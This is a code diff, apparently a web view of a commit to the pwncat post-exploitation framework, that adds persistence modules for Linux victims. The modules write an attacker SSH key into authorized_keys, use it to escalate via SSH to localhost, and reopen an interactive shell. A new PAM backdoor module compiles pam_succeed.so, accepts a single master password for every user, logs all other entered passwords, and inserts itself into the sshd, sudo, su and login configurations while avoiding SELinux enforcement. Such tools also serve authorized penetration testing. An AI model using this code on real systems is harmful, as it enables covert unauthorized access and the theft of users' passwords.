||||
homedir = pwncat.victim.users[user].homedir
|
||||
if not homedir or homedir == "":
|
||||
raise PersistError("no home directory")
|
||||
|
||||
# Create .ssh directory if it doesn't exist
|
||||
access = pwncat.victim.access(os.path.join(homedir, ".ssh"))
|
||||
if Access.DIRECTORY not in access or Access.EXISTS not in access:
|
||||
pwncat.victim.run(["mkdir", "-p", os.path.join(homedir, ".ssh")])
|
||||
|
||||
# Create the authorized_keys file if it doesn't exist
|
||||
access = pwncat.victim.access(os.path.join(homedir, ".ssh", "authorized_keys"))
|
||||
if Access.EXISTS not in access:
|
||||
pwncat.victim.run(
|
||||
["touch", os.path.join(homedir, ".ssh", "authorized_keys")]
|
||||
)
|
||||
pwncat.victim.run(
|
||||
["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]
|
||||
)
|
||||
authkeys = []
|
||||
else:
|
||||
try:
|
||||
# Read in the current authorized keys if it exists
|
||||
with pwncat.victim.open(
|
||||
os.path.join(homedir, ".ssh", "authorized_keys"), "r"
|
||||
) as filp:
|
||||
authkeys = filp.readlines()
|
||||
except (FileNotFoundError, PermissionError) as exc:
|
||||
raise PersistError(str(exc))
|
||||
|
||||
try:
|
||||
# Read our public key
|
||||
with open(backdoor_key + ".pub", "r") as filp:
|
||||
pubkey = filp.readlines()
|
||||
except (FileNotFoundError, PermissionError) as exc:
|
||||
raise PersistError(str(exc))
|
||||
|
||||
# Ensure we read a public key
|
||||
if not pubkey:
|
||||
raise PersistError(
|
||||
f"{pwncat.victim.config['privkey']+'.pub'}: empty public key"
|
||||
)
|
||||
|
||||
# Add our public key
|
||||
authkeys.extend(pubkey)
|
||||
authkey_data = "".join(authkeys)
|
||||
|
||||
# Write the authorized keys back to the authorized keys
|
||||
try:
|
||||
with pwncat.victim.open(
|
||||
os.path.join(homedir, ".ssh", "authorized_keys"),
|
||||
"w",
|
||||
length=len(authkey_data),
|
||||
) as filp:
|
||||
filp.write(authkey_data)
|
||||
except (FileNotFoundError, PermissionError) as exc:
|
||||
raise PersistError(str(exc))
|
||||
|
||||
# Ensure we have correct permissions for ssh to work properly
|
||||
pwncat.victim.env(
|
||||
["chmod", "600", os.path.join(homedir, ".ssh", "authorized_keys")]
|
||||
)
|
||||
pwncat.victim.env(
|
||||
[
|
||||
"chown",
|
||||
f"{user}:{user}",
|
||||
os.path.join(homedir, ".ssh", "authorized_keys"),
|
||||
]
|
||||
)
|
||||
|
||||
# Register the modifications with the tamper module
|
||||
pwncat.victim.tamper.modified_file(
|
||||
os.path.join(homedir, ".ssh", "authorized_keys"), added_lines=pubkey
|
||||
)
|
||||
|
||||
def remove(self, user, backdoor_key):
|
||||
""" Remove this persistence method """
|
||||
|
||||
try:
|
||||
# Read our public key
|
||||
with open(backdoor_key + ".pub", "r") as filp:
|
||||
pubkey = filp.readlines()
|
||||
except (FileNotFoundError, PermissionError) as exc:
|
||||
raise PersistError(str(exc))
|
||||
|
||||
# Find the user's home directory
|
||||
homedir = pwncat.victim.users[user].homedir
|
||||
if not homedir or homedir == "":
|
||||
raise PersistError("no home directory")
|
||||
|
||||
# Remove the tamper tracking
|
||||
for tamper in pwncat.victim.tamper.filter(pwncat.tamper.ModifiedFile):
|
||||
if (
|
||||
tamper.path == os.path.join(homedir, ".ssh", "authorized_keys")
|
||||
and tamper.added_lines == pubkey
|
||||
):
|
||||
try:
|
||||
# Attempt to revert our changes
|
||||
tamper.revert()
|
||||
except pwncat.tamper.RevertFailed as exc:
|
||||
raise PersistError(str(exc))
|
||||
# Remove the tamper tracker
|
||||
pwncat.victim.tamper.remove(tamper)
|
||||
break
|
||||
else:
|
||||
raise PersistError("failed to find matching tamper")
|
||||
|
||||
def escalate(self, user, backdoor_key):
|
||||
""" Locally escalate to the given user with this method """
|
||||
|
||||
try:
|
||||
# Ensure there is an SSH server
|
||||
sshd = pwncat.victim.find_service("sshd")
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
# Ensure it is running
|
||||
if not sshd.running:
|
||||
return False
|
||||
|
||||
# Upload the private key
|
||||
with pwncat.victim.tempfile("w", length=os.path.getsize(backdoor_key)) as dst:
|
||||
with open(backdoor_key, "r") as src:
|
||||
shutil.copyfileobj(src, dst)
|
||||
|
||||
privkey_path = dst.name
|
||||
|
||||
# Ensure correct permissions
|
||||
try:
|
||||
pwncat.victim.env(["chmod", "600", privkey_path])
|
||||
except FileNotFoundError:
|
||||
# We don't have chmod :( this probably won't work, but
|
||||
# we can try it.
|
||||
pass
|
||||
|
||||
# Run SSH, disabling password authentication to force public key
|
||||
# Don't wait for the result, because this won't exit
|
||||
pwncat.victim.env(
|
||||
[
|
||||
"ssh",
|
||||
"-i",
|
||||
privkey_path,
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"PasswordAuthentication=no",
|
||||
f"{user}@localhost",
|
||||
],
|
||||
wait=False,
|
||||
)
|
||||
|
||||
# Delete the private key. This either worked and we didn't need it
|
||||
# or it didn't work and we still don't need it.
|
||||
try:
|
||||
pwncat.victim.env(["rm", "-f", privkey_path])
|
||||
except FileNotFoundError:
|
||||
# File removal failed because `rm` doesn't exist. Register it as a tamper.
|
||||
pwncat.victim.tamper.created_file(privkey_path)
|
||||
|
||||
return True
|
||||
|
||||
def connect(self, user, backdoor_key: str) -> socket.SocketType:
|
||||
""" Reconnect to this host with this persistence method """
|
||||
|
||||
try:
|
||||
# Connect to the remote host's ssh server
|
||||
sock = socket.create_connection((pwncat.victim.host.ip, 22))
|
||||
except Exception as exc:
|
||||
raise PersistError(str(exc))
|
||||
|
||||
# Create a paramiko SSH transport layer around the socket
|
||||
t = paramiko.Transport(sock)
|
||||
try:
|
||||
t.start_client()
|
||||
except paramiko.SSHException:
|
||||
raise PersistError("ssh negotiation failed")
|
||||
|
||||
try:
|
||||
# Load the private key for the user
|
||||
key = paramiko.RSAKey.from_private_key_file(backdoor_key)
|
||||
except:
|
||||
password = prompt("RSA Private Key Passphrase: ", is_password=True)
|
||||
key = paramiko.RSAKey.from_private_key_file(backdoor_key, password)
|
||||
|
||||
# Attempt authentication
|
||||
try:
|
||||
t.auth_publickey(user, key)
|
||||
except paramiko.ssh_exception.AuthenticationException:
|
||||
raise PersistError("authorized key authentication failed")
|
||||
|
||||
if not t.is_authenticated():
|
||||
t.close()
|
||||
sock.close()
|
||||
raise PersistError("authorized key authentication failed")
|
||||
|
||||
# Open an interactive session
|
||||
chan = t.open_session()
|
||||
chan.get_pty()
|
||||
chan.invoke_shell()
|
||||
|
||||
return chan
|
@ -72,7 +72,7 @@ class Module(BaseModule):
|
||||
host_id=pwncat.victim.host.id
|
||||
)
|
||||
if module is not None:
|
||||
query = query.filter_by(module=module)
|
||||
query = query.filter_by(method=module)
|
||||
|
||||
# Grab all the rows
|
||||
modules = [
|
||||
|
224
pwncat/modules/persist/pam.py
Normal file
224
pwncat/modules/persist/pam.py
Normal file
@ -0,0 +1,224 @@
|
||||
#!/usr/bin/env python3
|
||||
import pkg_resources
|
||||
import base64
|
||||
import hashlib
|
||||
import socket
|
||||
import io
|
||||
import os
|
||||
from typing import Optional
|
||||
|
||||
import pwncat
|
||||
from pwncat.util import CompilationError, Access
|
||||
from pwncat.platform import Platform
|
||||
from pwncat.modules import Argument, Status
|
||||
from pwncat.modules.persist import PersistModule, PersistError, PersistType
|
||||
|
||||
|
||||
class Module(PersistModule):
|
||||
"""
|
||||
Install a backdoor PAM module which allows authentication
|
||||
with a single password for all users. This PAM module does
|
||||
not interrupt authentication with correct user passwords.
|
||||
Further, it will log all entered passwords (except the
|
||||
backdoor password) to a log file which can be collected
|
||||
with the creds.pam enumeration module. The installed module
|
||||
will be named `pam_succeed.so`.
|
||||
"""
|
||||
|
||||
TYPE = PersistType.LOCAL | PersistType.REMOTE | PersistType.ALL_USERS
|
||||
PLATFORM = Platform.LINUX
|
||||
ARGUMENTS = {
|
||||
**PersistModule.ARGUMENTS,
|
||||
"password": Argument(str, help="The password to use for the backdoor"),
|
||||
"log": Argument(
|
||||
str,
|
||||
default="/var/log/firstlog",
|
||||
help="Location where username/passwords will be logged",
|
||||
),
|
||||
}
|
||||
|
||||
def install(self, user: str, password: str, log: str):
|
||||
""" Install this module """
|
||||
|
||||
if user is not None:
|
||||
self.progress.log(
|
||||
f"[yellow]warning[/yellow]: {self.name}: this module applies to all users"
|
||||
)
|
||||
|
||||
if pwncat.victim.current_user.id != 0:
|
||||
raise PersistError("must be root")
|
||||
|
||||
# Read the source code
|
||||
with open(pkg_resources.resource_filename("pwncat", "data/pam.c"), "r") as filp:
|
||||
sneaky_source = filp.read()
|
||||
|
||||
yield Status("checking selinux state")
|
||||
|
||||
# SELinux causes issues depending on it's configuration
|
||||
for selinux in pwncat.modules.run(
|
||||
"enumerate.gather", progress=self.progress, types=["system.selinux"]
|
||||
):
|
||||
if selinux.data.enabled and "enforc" in selinux.data.mode:
|
||||
raise PersistError("selinux is currently in enforce mode")
|
||||
elif selinux.data.enabled:
|
||||
self.progress.log(
|
||||
"[yellow]warning[/yellow]: selinux is enabled; persistence may be logged"
|
||||
)
|
||||
|
||||
# We use the backdoor password. Build the string of encoded bytes
|
||||
# These are placed in the source like: char password_hash[] = {0x01, 0x02, 0x03, ...};
|
||||
password_hash = hashlib.sha1(password.encode("utf-8")).digest()
|
||||
password_hash = ",".join(hex(c) for c in password_hash)
|
||||
|
||||
# Insert our key
|
||||
sneaky_source = sneaky_source.replace("__PWNCAT_HASH__", password_hash)
|
||||
|
||||
# Insert the log location for successful passwords
|
||||
sneaky_source = sneaky_source.replace("__PWNCAT_LOG__", log)
|
||||
|
||||
yield Status("compiling pam module for target")
|
||||
|
||||
try:
|
||||
# Compile our source for the remote host
|
||||
lib_path = pwncat.victim.compile(
|
||||
[io.StringIO(sneaky_source)],
|
||||
suffix=".so",
|
||||
cflags=["-shared", "-fPIE"],
|
||||
ldflags=["-lcrypto"],
|
||||
)
|
||||
except (FileNotFoundError, CompilationError) as exc:
|
||||
raise PersistError(f"pam: compilation failed: {exc}")
|
||||
|
||||
yield Status("locating pam module installation")
|
||||
|
||||
# Locate the pam_deny.so to know where to place the new module
|
||||
pam_modules = "/usr/lib/security"
|
||||
try:
|
||||
results = (
|
||||
pwncat.victim.run(
|
||||
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
|
||||
)
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
if results != "":
|
||||
results = results.split("\n")
|
||||
pam_modules = os.path.dirname(results[0])
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
yield Status(f"pam modules located at {pam_modules}")
|
||||
|
||||
# Ensure the directory exists and is writable
|
||||
access = pwncat.victim.access(pam_modules)
|
||||
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||
# Copy the module to a non-suspicious path
|
||||
yield Status("copying shared library")
|
||||
pwncat.victim.env(
|
||||
["mv", lib_path, os.path.join(pam_modules, "pam_succeed.so")]
|
||||
)
|
||||
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
||||
|
||||
yield Status("adding pam auth configuration")
|
||||
|
||||
# Add this auth method to the following pam configurations
|
||||
for config in ["sshd", "sudo", "su", "login"]:
|
||||
yield Status(f"adding pam auth configuration: {config}")
|
||||
config = os.path.join("/etc/pam.d", config)
|
||||
try:
|
||||
# Read the original content
|
||||
with pwncat.victim.open(config, "r") as filp:
|
||||
content = filp.readlines()
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
||||
|
||||
# We need to know if there is a rootok line. If there is,
|
||||
# we should add our line after it to ensure that rootok still
|
||||
# works.
|
||||
contains_rootok = any("pam_rootok" in line for line in content)
|
||||
|
||||
# Add this auth statement before the first auth statement
|
||||
for i, line in enumerate(content):
|
||||
# We either insert after the rootok line or before the first
|
||||
# auth line, depending on if rootok is present
|
||||
if contains_rootok and "pam_rootok" in line:
|
||||
content.insert(i + 1, new_line)
|
||||
elif not contains_rootok and line.startswith("auth"):
|
||||
content.insert(i, new_line)
|
||||
break
|
||||
else:
|
||||
content.append(new_line)
|
||||
|
||||
content = "".join(content)
|
||||
|
||||
try:
|
||||
with pwncat.victim.open(config, "w", length=len(content)) as filp:
|
||||
filp.write(content)
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
||||
|
||||
pwncat.victim.tamper.created_file(log)
|
||||
|
||||
def remove(self, **unused):
|
||||
""" Remove this module """
|
||||
|
||||
try:
|
||||
|
||||
# Locate the pam_deny.so to know where to place the new module
|
||||
pam_modules = "/usr/lib/security"
|
||||
|
||||
yield Status("locating pam modules")
|
||||
|
||||
results = (
|
||||
pwncat.victim.run(
|
||||
"find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
|
||||
)
|
||||
.strip()
|
||||
.decode("utf-8")
|
||||
)
|
||||
if results != "":
|
||||
results = results.split("\n")
|
||||
pam_modules = os.path.dirname(results[0])
|
||||
|
||||
yield Status(f"pam modules located at {pam_modules}")
|
||||
|
||||
# Ensure the directory exists and is writable
|
||||
access = pwncat.victim.access(pam_modules)
|
||||
if (Access.DIRECTORY | Access.WRITE) in access:
|
||||
# Remove the the module
|
||||
pwncat.victim.env(
|
||||
["rm", "-f", os.path.join(pam_modules, "pam_succeed.so")]
|
||||
)
|
||||
new_line = "auth\tsufficient\tpam_succeed.so\n"
|
||||
|
||||
# Remove this auth method from the following pam configurations
|
||||
for config in ["sshd", "sudo", "su", "login"]:
|
||||
config = os.path.join("/etc/pam.d", config)
|
||||
try:
|
||||
with pwncat.victim.open(config, "r") as filp:
|
||||
content = filp.readlines()
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
||||
|
||||
# Add this auth statement before the first auth statement
|
||||
content = [line for line in content if line != new_line]
|
||||
content = "".join(content)
|
||||
|
||||
try:
|
||||
with pwncat.victim.open(
|
||||
config, "w", length=len(content)
|
||||
) as filp:
|
||||
filp.write(content)
|
||||
except (PermissionError, FileNotFoundError):
|
||||
continue
|
||||
else:
|
||||
raise PersistError("insufficient permissions")
|
||||
except FileNotFoundError as exc:
|
||||
# Uh-oh, some binary was missing... I'm not sure what to do here...
|
||||
raise PersistError(f"[red]error[/red]: {exc}")
|
||||
|
||||
def escalate(self, user: str, password: str, log: str) -> bool:
|
||||
""" Escalate to the given user with this module """
|
||||
|
||||
def connect(self, user: str, password: str, log: str) -> socket.SocketType:
|
||||
""" Connect to the victim with this module """
|
@ -1386,7 +1386,7 @@ class Victim:
|
||||
raise PermissionError
|
||||
|
||||
with self.subprocess(
|
||||
["ls", "--color=never", "--all", "-1"], stderr="/dev/null", mode="r"
|
||||
["ls", "--color=never", "--all", "-1", path], stderr="/dev/null", mode="r"
|
||||
) as pipe:
|
||||
for line in pipe:
|
||||
line = line.strip().decode("utf-8")
|
||||
|
@ -158,6 +158,11 @@ class TamperManager:
|
||||
for tracker in pwncat.victim.host.tampers:
|
||||
yield pickle.loads(tracker.data)
|
||||
|
||||
def filter(self, base=Tamper):
|
||||
for tamper in self:
|
||||
if isinstance(tamper, base):
|
||||
yield tamper
|
||||
|
||||
def __len__(self):
|
||||
return len(pwncat.victim.host.tampers)
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user